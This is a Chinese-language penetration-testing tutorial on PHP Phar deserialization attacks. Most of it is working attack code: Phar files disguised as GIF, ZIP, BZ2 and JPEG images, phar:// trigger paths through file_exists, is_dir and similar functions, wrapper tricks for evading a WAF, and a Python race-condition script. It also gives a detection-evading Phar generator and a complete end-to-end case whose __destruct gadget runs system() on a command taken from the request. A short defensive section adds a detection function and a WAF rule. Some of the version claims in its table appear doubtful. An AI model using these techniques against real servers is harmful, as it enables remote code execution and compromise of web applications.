PHP Phar 反序列化实战:3种文件格式伪装与5个关键函数触发分析

PHP Phar反序列化实战:3种文件格式伪装与5个关键函数触发分析

1. 渗透测试中的Phar武器化思路

在真实的渗透测试场景中,PHP Phar反序列化漏洞往往比传统反序列化更具杀伤力。与常规反序列化不同,Phar攻击不需要直接调用unserialize()函数,而是通过文件系统操作间接触发。这种特性使其成为绕过安全防护的利器。

攻击链的典型构成

  1. 文件上传点突破:通过精心构造的Phar文件上传
  2. 伪协议触发:利用存在缺陷的文件操作函数
  3. 魔术方法跳板:通过__destruct()等魔术方法执行代码

我们来看一个典型的攻击场景:某CMS系统允许用户上传头像图片,但仅允许GIF格式。攻击者可以这样突破:

// 生成伪装成GIF的Phar文件 $phar = new Phar('exploit.phar'); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.txt', 'test'); $phar->setMetadata(new DangerousClass());

2. 三种文件格式伪装技术

2.1 GIF格式伪装

这是最基础的伪装方式,通过添加GIF文件头实现:

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');

绕过检测要点

  • 文件头必须包含GIF89a或GIF87a
  • 文件内容需通过上传检测
  • 文件扩展名需为.gif

2.2 ZIP格式深度伪装

当系统检测文件内容时,简单的文件头可能不够。此时可采用ZIP格式伪装:

// 生成标准ZIP文件 $zip = new ZipArchive(); $zip->open('exploit.zip', ZipArchive::CREATE); $zip->addFromString('test.txt', 'test'); $zip->setArchiveComment(serialize($payload)); $zip->close(); // 重命名为图片格式 rename('exploit.zip', 'exploit.jpg');

触发时使用:

phar://zip://exploit.jpg%23test

2.3 BZ2压缩伪装

对于严格检测文件魔数的系统,可采用BZ2压缩:

bzip2 -k exploit.phar mv exploit.phar.bz2 exploit.jpg

触发方式:

phar://compress.bzip2://exploit.jpg/test.txt

3. 五种关键触发函数分析

3.1 file_get_contents()

触发条件

  • 参数完全或部分可控
  • 无协议黑名单限制

典型漏洞代码

$content = file_get_contents($_GET['url']);

利用方式

file_get_contents('phar:///path/to/exploit.phar');

3.2 file_exists()

特殊优势

  • 常用于权限检查等关键位置
  • 通常参数控制更宽松

实战案例

if(file_exists($_GET['template'])) { include($_GET['template']); }

3.3 is_dir()检测绕过

独特价值

  • 常用于目录存在性检查
  • 可结合路径穿越使用

攻击示例

is_dir('phar:///var/www/uploads/exploit.jpg/../');

3.4 stat()家族函数

包含函数

  • stat()
  • lstat()
  • fstat()

利用特点

  • 常用于文件属性检查
  • 可绕过常规安全审计

3.5 文件哈希计算函数

可利用函数

  • md5_file()
  • sha1_file()
  • hash_file()

特殊场景

  • 文件校验环节
  • 文件去重功能

4. 高级绕过技术

4.1 WAF绕过技巧

当phar://被过滤时,可尝试:

// 编码绕过 php://filter/convert.base64-encode/resource=phar://exploit.phar // 多重包装 compress.zlib://phar:///exploit.phar

4.2 无文件写入技巧

通过条件竞争在临时目录触发:

import threading import requests def upload(): while True: requests.post(target, files={'file': ('test.phar', phar_data)}) def trigger(): while True: requests.get(target + '?file=phar:///tmp/phpXXXXXX') threading.Thread(target=upload).start() threading.Thread(target=trigger).start()

5. 实战工具与检测防御

5.1 Phar生成工具改进

传统Phar生成方式容易被检测,改进方案:

function generateEvilPhar($outputPath, $payload) { $phar = new Phar($outputPath); $phar->startBuffering(); // 随机化stub $stubs = [ 'GIF89a', '\x89PNG\r\n\x1a\n', '\xFF\xD8\xFF\xE0' // JPEG ]; $stub = $stubs[rand(0,2)].'<?php __HALT_COMPILER(); ?>'; $phar->setStub($stub); $phar->addFromString(md5(rand()).'.txt', 'test'); $phar->setMetadata($payload); // 添加垃圾数据干扰检测 for($i=0; $i<5; $i++) { $phar->addFromString('res_'.$i.'.txt', str_repeat(rand(), 100)); } $phar->stopBuffering(); }

5.2 防御检测方案

服务器端检测

function isSafeFile($file) { // 检查实际文件内容 $content = file_get_contents($file); if(strpos($content, '__HALT_COMPILER') !== false) { return false; } // 检查文件签名 $finfo = new finfo(FILEINFO_MIME); return strpos($finfo->file($file), 'image/') === 0; }

WAF规则示例

SecRule FILES "@rx (?i)__HALT_COMPILER" \ "id:1000,phase:2,deny,msg:'Phar file detected'"

6. 漏洞利用完整案例

假设目标系统存在以下代码:

// upload.php if($_FILES['file']['type'] === 'image/jpeg') { move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$_FILES['file']['name']); } // preview.php $image = $_GET['file']; if(file_exists($image)) { header('Content-Type: image/jpeg'); readfile($image); }

攻击步骤

  1. 生成恶意Phar:
class Exploit { function __destruct() { system($_GET['cmd']); } } $phar = new Phar('exploit.phar'); $phar->setStub("\xFF\xD8\xFF\xE0".'<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.jpg', 'test'); $phar->setMetadata(new Exploit());
  1. 上传并重命名:
mv exploit.phar exploit.jpg
  1. 触发漏洞:
/preview.php?file=phar://uploads/exploit.jpg&cmd=id

7. 不同PHP版本的影响

版本差异对比表

PHP版本特性变化影响程度
5.3-7.4完全支持高危
8.0+元数据需手动反序列化中危
8.1+默认禁用phar写操作低危

版本检测技巧

$version = explode('-', phpversion())[0]; if(version_compare($version, '8.0.0') >= 0) { // 需要特殊处理 }